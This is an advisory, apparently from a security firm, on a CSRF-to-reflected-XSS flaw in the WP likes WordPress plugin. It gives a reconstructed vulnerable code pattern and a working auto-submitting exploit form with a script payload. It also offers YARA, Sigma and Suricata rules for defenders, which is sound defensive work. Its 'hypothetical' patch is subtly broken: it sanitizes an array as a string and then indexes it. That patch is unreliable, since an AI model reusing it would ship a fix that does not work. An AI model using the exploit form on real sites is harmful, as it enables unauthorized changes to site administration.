CVE-2025-58848

Executive Summary

CVE-2025-58848 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin WP likes (by aakash1911), affecting versions through 3.1.1. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as changing plugin settings or injecting malicious scripts, leading to Reflected Cross-Site Scripting (XSS). This is a WordPress ecosystem issue; the plugin fails to implement proper CSRF tokens or nonces in its administrative actions.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are not running version 3.1.1 or earlier. No official patch has been released as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be logged in as admin)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity and the potential for reflected XSS, which can lead to session hijacking or defacement.

Deep Dive & Mechanics

The vulnerability resides in the WP likes plugin's administrative interface. The plugin does not validate or include a CSRF token (nonce) in its AJAX or form submission handlers. An attacker can craft a malicious link or form that, when clicked by an authenticated WordPress admin, performs actions like:

• Changing plugin settings (e.g., enabling/disabling likes on posts).
• Injecting malicious JavaScript via the plugin's options (Reflected XSS).

The reflected XSS occurs because user-supplied input is echoed back without proper sanitization in the admin panel. The CSRF vector allows the attacker to bypass the admin's session and execute the XSS payload.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern.

Vulnerable Code (wp-likes/admin/class-wp-likes-admin.php):

// No nonce verification
add_action('wp_ajax_wp_likes_save_settings', 'wp_likes_save_settings_callback');
function wp_likes_save_settings_callback() {
    // Directly uses $_POST without CSRF check
    update_option('wp_likes_settings', $_POST['settings']);
    echo $_POST['settings']['custom_message']; // Reflected XSS
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wp_likes_save_settings', 'wp_likes_save_settings_callback');
function wp_likes_save_settings_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'wp_likes_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    // Sanitize and escape output
    $settings = sanitize_text_field($_POST['settings']);
    update_option('wp_likes_settings', $settings);
    echo esc_html($settings['custom_message']);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with WP likes plugin <= 3.1.1.
• Victim admin must be logged in.

Exploit Steps:

1. Craft a malicious HTML page that submits a form to the vulnerable endpoint.
2. Include a payload for reflected XSS in the custom_message parameter.
3. Host the page and send the link to the victim admin.

Example Exploit (CSRF + XSS):

<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="wp_likes_save_settings">
    <input type="hidden" name="settings[custom_message]" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=wp_likes_save_settings.
• Look for unexpected changes in the wp_likes_settings option in the database.
• Inspect HTTP Referer headers for cross-origin requests.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests missing a nonce.
• Use Content Security Policy (CSP) headers to prevent XSS.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=wp_likes_save_settings from unexpected origins.
• File: Modified wp_likes_settings option in the wp_options table containing <script> tags.
• Log: WordPress debug log entries showing wp_likes_save_settings callback without nonce.
• Behavior: Sudden appearance of JavaScript alerts or popups in admin panel.

Detection Engineering

YARA Rule

rule wp_likes_csrf_xss {
    meta:
        description = "Detects WP likes plugin CSRF + XSS exploit attempts"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-58848"
    strings:
        $ajax_action = "wp_likes_save_settings"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $ajax_action and $xss_payload
}

Sigma Rule

title: WP Likes CSRF to XSS Exploit
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts targeting WP likes plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wp_likes_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58848 WP Likes CSRF XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_likes_save_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the WP likes plugin until a patch is released.
2. Short-term: Implement a WAF rule to block requests to admin-ajax.php without a valid nonce.
3. Long-term: The vendor must add CSRF nonce verification and output escaping. Monitor the plugin repository for updates.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
DevSecOps & Cyber Threat Intelligence